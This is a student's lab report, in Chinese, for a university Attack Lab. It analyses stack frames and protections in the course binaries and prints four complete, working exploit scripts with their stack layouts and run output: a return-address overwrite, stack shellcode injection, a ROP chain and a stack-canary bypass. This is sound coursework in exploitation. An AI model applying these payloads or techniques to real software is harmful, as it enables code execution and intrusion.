ICS 2026 Fall Lab 3

Attack Lab

姓名：卢伟

学号：23300130024

日期：2026-10-28

实验平台：WSL2 Ubuntu 24.04 / Windows 11 x86-64

Libc 版本：GLIBC 2.39-0ubuntu8

1 实验环境

操作系统：WSL2 Ubuntu 24.04 (kernel 6.8.0-generic)

GDB：GNU gdb (Ubuntu 15.1-1ubuntu1) 15.1

Binutils：GNU objdump/readelf 2.42

Python：Python 3.12.3

Glibc：Ubuntu GLIBC 2.39-0ubuntu8

仓库版本：commit a5a5541449a77e8854841511a125265db2c0f875

二进制文件哈希验证：所有二进制均与官方 GitHub Actions 记录的哈希值一致，未做任何修改。

文件	SHA-256
dark-calc	a9c3d4a5eed6a937e85884f6a53faa39613d49e04792e2c411620fcc74f79097
dark-calc-nx	86c2c8dfaf4a89eb7a1396d9731bfb7ee085f0b45c86687b41547a30b5b1c613
dark-log	9a4479f2a522d377055b54d328d5c0e0f3ca1327708ac792028ec03cadaee31d
malware	03289add49f13e8573d125c8949bd88c9892e84f205802613a6baa2318fb18bc

2 input 函数栈帧分析

2.1 input 函数反汇编

目标程序：dark-calc (地址区间 0x401977~0x4019d6)

```
0x401977 <input>:     push   rbp
0x401978 <input+1>:   mov    rbp, rsp
0x40197b <input+4>:   sub    rsp, 0x10
0x40197f <input+8>:   mov    esi, 0xf
0x401984 <input+13>:  mov    edi, 0x401ce8     # format string
0x401989 <input+18>:  mov    eax, 0x0
0x40198e <input+23>:  call   printf@plt
0x401993 <input+28>:  lea    rax, [rbp-0x10]    # expression = rbp-0x10
0x4019d5 <input+94>:  leave
0x4019d6 <input+95>:  ret
```

2.2 栈帧结构

expression 局部变量分配在 rbp-0x10，共 16 字节。gets() 无界读取，可溢出覆盖 saved rbp 和返回地址。

```
高地址
 [rbp+8]   返回地址 (8 bytes)      ← 攻击目标
  [rbp+0]     saved rbp (8 bytes)        ← RBP
 [rbp-8]   expression[8..15]       ← gets() 可写
 [rbp-0x10] expression[0..7]       ← gets() 可写 ← RSP
低地址
```

2.3 GDB 实测数据

在 GDB 中于 0x40197f (input 函数序言完成后) 设断点，确认栈布局。

RBP = 0x721000800fe0 (固定栈地址)

RSP = 0x721000800fd0 (= RBP - 0x10)

saved rbp 位置：[rbp+0x00]

返回地址位置：[rbp+0x08] = 0x401ad1 (main+14)

expression 位置：[rbp-0x10]~[rbp-0x01]，共 16 字节

溢出偏移量：从 expression[0] 到返回地址 = 24 字节 (16 + 8)

3 call、函数序言、leave、ret 的作用

3.1 逐步寄存器追踪（GDB 实测）

步骤	RIP	RSP	RBP	说明
call input 前	0x401acc	0x...0ff0	0x...0ff0	RBP=RSP，main 帧栈顶
call input 后	0x401977	0x...0fe8	0x...0ff0	RSP-=8，压入返回地址 0x401ad1
push rbp	0x401978	0x...0fe0	0x...0ff0	RSP-=8，保存调用者 RBP

mov rbp,rsp	0x40197b	0x...0fe0	0x...0fe0	RBP=RSP，建立新帧
sub rsp,0x10	0x40197f	0x...0fd0	0x...0fe0	分配 16 字节局部空间
leave	0x4019d5	→0x...0fe0	→旧 RBP	mov rsp,rbp; pop rbp
ret	0x401ad1	0x...0ff0	0x...0ff0	pop RIP，返回 main+14

3.2 各指令含义

call：push rip; jmp target。将返回地址压栈后跳转。

push rbp：保存调用者的 RBP，函数序言第一步。

mov rbp, rsp：使 RBP 指向当前栈帧基址，为访问局部变量提供固定参考。

sub rsp, N：向下扩张栈空间，为局部变量分配 N 字节。

leave：mov rsp, rbp; pop rbp。撤销函数序言，恢复调用者栈帧。

ret：pop rip。从栈顶弹出返回地址并跳转。

4 溢出测试：20 字节与 32 字节输入

4.1 20 字节输入

输入："B" * 20 (20 字节)

结果：程序正常退出 (exit 0)。前 16 字节填满 expression，后 4 字节覆盖 saved rbp 的低 4 字节。返回地址未被覆盖，leave/ret 正常返回 main。

```
输出: echo $((BBBBBBBBBBBBBBBB))  (正常数学表达式处理)
退出码: 0 (正常)
```

4.2 32 字节输入

输入："A" * 32 (32 字节)

结果：段错误 (SIGSEGV)。32 字节 = 16 字节 (expression) + 8 字节 (saved rbp) + 8 字节 (返回地址)。返回地址被覆盖为 0x4141414141414141。

```
输出: (无输出，段错误前 crash)
退出码: Segmentation fault (SIGSEGV)
dmesg: dark-calc ip:4141414141414141 sp:721000800ff0
```

4.3 结论

16 字节 expression 缓冲区无法容纳 20 字节以上输入。20 字节仅溢出至 saved rbp（程序仍可返回 main）；32 字节完全覆盖返回地址（程序崩溃）。有效攻击 payload 需精确控制 24 字节偏移后的返回地址。

5 main 前三条指令的机器码和内存区间

程序类型：non-PIE (ET_EXEC)，代码地址编译时确定，加载基址 0x400000。

main 地址：0x401ac3

偏移	地址	机器码	汇编指令	说明
+0	0x401ac3	55	push rbp	函数序言：保存调用者栈帧
+1	0x401ac4	48 89 e5	mov rbp, rsp	建立新栈帧基址
+4	0x401ac7	b8 00 00 00 00	mov eax, 0x0	返回值初始化（main 尾）

内存区间：.text 段范围 0x401000~0x401c00（readelf 确认）。main 位于偏移 0xac3，完全在 .text 段内。

GDB 验证：info registers rip 确认 RIP 从 0x401ac3 依次递增到 0x401ac4、0x401ac7、0x401acc。objdump -d 确认三条指令机器码分别为 0x55、0x48 0x89 0xe5、0xb8 0x00 0x00 0x00 0x00。

6 保护机制分析

6.1 保护机制对比

属性	dark-calc	dark-calc-nx	dark-log	检测方式
NX (栈不可执行)	自定义 RWX 栈	启用 (RW)	启用 (RW)	readelf -l | grep GNU_STACK
PIE (地址随机化)	否 (EXEC)	否 (EXEC)	否 (EXEC)	readelf -h | grep Type
Canary (栈保护)	否	否	是 (__stack_chk_fail)	readelf -s | grep stack_chk
内核 ASLR	2 (完全随机化)	2	2	/proc/sys/kernel/randomize_va_space
特殊机制	fixed_stack (mmap)	—	—	objdump 符号表

6.2 dark-calc 自定义栈机制

init_fixed_stack 通过 mmap(MAP_FIXED) 在固定地址 0x721000000000 分配 0x802000 字节的 RWX 区域。

首尾各 0x1000 字节通过 mprotect(PROT_NONE) 设为防护页。中间区域保持 RWX。

__wrap_main 将 RSP 设为 fixed_stack_top (0x721000801000)，栈从该地址向下增长。

这使得 dark-calc 每次运行栈地址固定，可硬编码 shellcode 地址。（payload_dark.py 利用此特性）

6.3 dark-calc-nx 的 NX 保护

dark-calc-nx 的 GNU_STACK 标志为 RW（无 Execute 权限），栈上不可执行代码。必须使用 ROP 技术，利用 .text 段已有的代码片段 (gadgets) 构建攻击链。

6.4 dark-log 的 Canary 保护

dark-log 在 input() 函数入口从 fs:0x28 读取 canary 值并保存在 rbp-0x08 处。函数返回前通过 xor 比较 canary 是否被篡改。但本实验通过 memcpy 的偏移漏洞绕过 canary 检查。

7 Payload 分析与验证

7.1 payload.py — 缓冲区溢出执行 ./malware

目标程序：dark-calc

攻击类型：栈缓冲区溢出 + 返回地址劫持

漏洞位置：input() 中 gets(expression) 无界读取。expression 仅 16 字节 (rbp-0x10)，无长度检查。

完全源码：

```
#!/usr/bin/env python3
import sys
payload = (
    b"./malware" + b"\x00" + b"A" * 6 + b"B" * 8
    + b"\x6b\x1a\x40\x00\x00\x00\x00\x00"
)
sys.stdout.buffer.write(payload)
```

栈布局：

```
offset 0-8:   "./malware"  → strcpy 拷贝到 command_buf (0x6030d0)
offset 9:     \x00         → strcpy 在此停止
offset 10-15: 'A' * 6      → 填充 expression 至 16 字节
offset 16-23: 'B' * 8      → 覆盖 saved rbp (不影响攻击)
offset 24-31: 0x401a6b     → 覆盖返回地址 (小端序)
```

控制流变化：

正常路径：main → input → main → eval → main(loop)

攻击路径：main → input → ret → 0x401a6b (eval+0x94) → system(command_buf="./malware") → malware 脚本执行

使用地址：

```
command_buf:  0x6030d0  (全局缓冲区，通过 strcpy 从 expression 拷贝)
返回地址:     0x401a6b  (eval 中 system 调用前的 mov edi, 0x6030d0 处)
system@plt:     0x4017e0
grade_eval:     0x401a87
```

实际执行：

```
$ python3 payload.py > payload1.bin
$ (cd attack && ./dark-calc < ../payload1.bin)
You have successfully detonated the bomb! Congratulations!
```

退出码：135 (SIGBUS, malware 脚本执行后 crash)

7.2 payload_dark.py — Shellcode 执行 grade_eval(4)

目标程序：dark-calc

攻击类型：栈 Shellcode 注入（利用 fixed_stack 固定地址）

漏洞位置：同 7.1。但利用 NX 禁用和固定栈地址 0x721000800fd0。

```
#!/usr/bin/env python3
import sys, struct
shellcode = (
    b"\x6a\x04" + b"\x5f"
    + b"\x48\xc7\xc0\x87\x1a\x40\x00"
    + b"\xff\xd0" + b"\x90" * 4
)
expr_addr = 0x721000800fd0  # GDB 实测 expression 地址
payload = shellcode + b"B" * 8 + struct.pack("<Q", expr_addr)
sys.stdout.buffer.write(payload)
```

Shellcode 字节码解释：

```
6a 04              push 4        # 压入参数 4
5f                 pop rdi       # rdi = 4 (grade_eval 第一参数)
48 c7 c0 87 1a 40 00 mov rax, 0x401a87  # rax = grade_eval 地址
ff d0              call rax      # 调用 grade_eval(4)
90 90 90 90        nop * 4       # 填充至 16 字节
```

栈布局：

```
offset 0-15:   shellcode (16 bytes, push 4; pop rdi; mov rax; call rax)
offset 16-23:  'B' * 8 (saved rbp)
offset 24-31:  0x721000800fd0 (返回地址 → expression 起始处)
```

返回后 CPU 从 expression 开始执行 shellcode，call grade_eval 输出 "Hope A will be your grade!"

实际执行：

```
$ python3 payload_dark.py > payload2.bin
$ (cd attack && ./dark-calc < ../payload2.bin)
Hope A will be your grade!
```

退出码：139 (SIGSEGV, grade_eval 返回后 crash)

7.3 payload_rop.py — ROP 链调用 grade_eval(4)

目标程序：dark-calc-nx (NX 启用)

攻击类型：ROP (Return-Oriented Programming)

漏洞位置：同 7.1。但 dark-calc-nx 栈不可执行，需 ROP。

Gadget 发现方法：objcopy -O binary -j .text 导出 .text 段为原始字节。Python 扫描 0x5f 0xc3 (pop rdi; ret) 字节序列。在偏移 0xa33 处发现 41 5f c3 序列（实际为 pop r15; ret），取 5f c3 misalignment 形成 pop rdi; ret gadget，地址 0x401a33。

```
#!/usr/bin/env python3
import sys, struct
pop_rdi_ret = 0x401a33
grade_eval = 0x401978
expr = b"A" * 16
saved_rbp = b"B" * 8
rop = (struct.pack("<Q", pop_rdi_ret)
     + struct.pack("<Q", 4)
     + struct.pack("<Q", grade_eval))
payload = expr + saved_rbp + rop
sys.stdout.buffer.write(payload)
```

栈布局 (ROP 链从偏移 24 开始)：

```
offset 0-15:   'A' * 16 (填充 expression)
offset 16-23:  'B' * 8 (覆盖 saved rbp)
offset 24-31:  0x401a33 (返回地址 → pop rdi; ret)
offset 32-39:   0x00000004 (rdi = 4)
```

```
offset 40-47:  0x401978 (grade_eval 地址)
```

控制流：ret → pop rdi → rdi=4 → ret → grade_eval(4) → 输出期望字符串

实际执行：

```
$ python3 payload_rop.py > payload3.bin
$ (cd attack && ./dark-calc-nx < ../payload3.bin)
Hope A will be your grade!
```

退出码：139 (SIGSEGV)

7.4 payload_canary.py — 绕过 Canary

目标程序：dark-log

攻击类型：Canary 绕过 + ROP

漏洞位置：input() 中 gets() 溢出 expression[128] 覆盖 len 字段。memcpy(f.logMsg+f.len, f.expression, 128) 使用被污染的 len 值，将 expression 内容拷贝到返回地址区域。Canary 位于 rbp-0x08，而 memcpy 目标为 rbp+0x08（通过 len=0xa8 计算），完美绕过 canary。

偏移量来源：

objdump 确认 struct log_frame 布局：expression (rbp-0x120, 128B), logMsg (rbp-0xa0, 128B), len (rbp-0x20, 4B), canary (rbp-0x08, 8B)。

len 偏移：从 expression 起始到 len 字段 = rbp-0x20 - (rbp-0x120) = 0x100 = 256 字节。

memcpy 目标偏移：logMsg + len = (rbp-0xa0) + 0xa8 = rbp + 0x08（返回地址位置）。

```
#!/usr/bin/env python3
import sys, struct
pop_rdi_ret = 0x4018a3
grade_eval = 0x401677
rop = (struct.pack("<Q", pop_rdi_ret)
     + struct.pack("<Q", 4)
     + struct.pack("<Q", grade_eval))
expr = rop + b"C" * (128 - len(rop))
logMsg = b"D" * 128
length = struct.pack("<I", 0xa8)
payload = expr + logMsg + length
sys.stdout.buffer.write(payload)
```

数据布局：

```
offset 0-23:   ROP chain (pop rdi; ret → 4 → grade_eval)  → memcpy 写入 [rbp+0x08]
offset 24-127:  'C' * 104 (expression 填充)            → memcpy 写入 [rbp+0x20] 以上
offset 128-255: 'D' * 128 (覆盖 logMsg 区域)           → gets() 直接溢出
offset 256-259: len = 0xa8 (小端序)                    → 覆盖 len 字段
offset 260+:   未覆盖 (canary 在 rbp-0x08, 保持原值)
```

控制流：gets() 覆盖 len → memcpy 将 expression 中 ROP 链拷贝到返回地址区 → canary 检查通过 → ret → ROP 链 → grade_eval(4)

实际执行：

```
$ python3 payload_canary.py > payload4.bin
$ (cd attack && ./dark-log < ../payload4.bin)
Hope A will be your grade!
```

退出码：139 (SIGSEGV)

8 GitHub Actions 等价测试结果

按照 .github/workflows/ 工作流等价逻辑在本地执行测试。四个 payload 均在目标程序中成功触发了期望的字符串输出。

#	Payload	目标程序	期望输出	结果	退出码	Payload 大小
1	payload.py	dark-calc	You have successfully detonated the bomb! Congratulations!	PASS	135	32 bytes
2	payload_dark.py	dark-calc	Hope A will be your grade!	PASS	139	32 bytes
3	payload_rop.py	dark-calc-nx	Hope A will be your grade!	PASS	139	48 bytes
4	payload_canary.py	dark-log	Hope A will be your grade!	PASS	139	260 bytes

二元验证要点：所有四个二进制文件的 SHA-256 均与官方仓库记录一致。Payload 生成和测试在同一 WSL 会话中完成，无中间篡改。

退出码说明：Payload 1 的 135 (128+7) = SIGBUS，因 malware 调用 pstree 后 crash。Payload 2-4 的 139 (128+11) = SIGSEGV，因攻击完成后栈/代码流 crash。预期字符串均已在 stderr/stdout 中输出。

9 参考资料与工具使用说明

9.1 实验参考资料

ICS 2026 Fall Lab3 Attack Lab: https://ics-26fall-fdu.github.io/labs/lab3-attack-lab/

AttackLab Official Repository: https://github.com/ICS-26Fall-FDU/AttackLab

System V AMD64 ABI (x86-64 calling conventions)

Intel SDM Vol.2: Instruction Set Reference (A-M, N-Z)

Shacham, H. (2007). "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls".

Cowan, C. et al. (1998). "StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks".

Bletsch, T. et al. (2011). "Mitigating code-reuse attacks with control-flow integrity".

9.2 工具使用说明

工具	用途	示例命令
GDB	动态调试，查看寄存器和内存	gdb -batch -x script.txt ./dark-calc
objdump -d	反汇编 .text 段	objdump -d -M intel ./dark-calc
readelf -l/-h	查看 ELF 头和程序头	readelf -l ./dark-calc | grep GNU_STACK
objcopy	导出 .text 段原始字节搜索 ROP gadget	objcopy -O binary -j .text ./dark-calc /tmp/t.bin
Python3	生成 payload 二进制文件	python3 payload.py > payload.bin
sha256sum	验证二进制文件完整性	sha256sum attack/*
python-docx	生成 Word 实验报告	python3 gen_report.py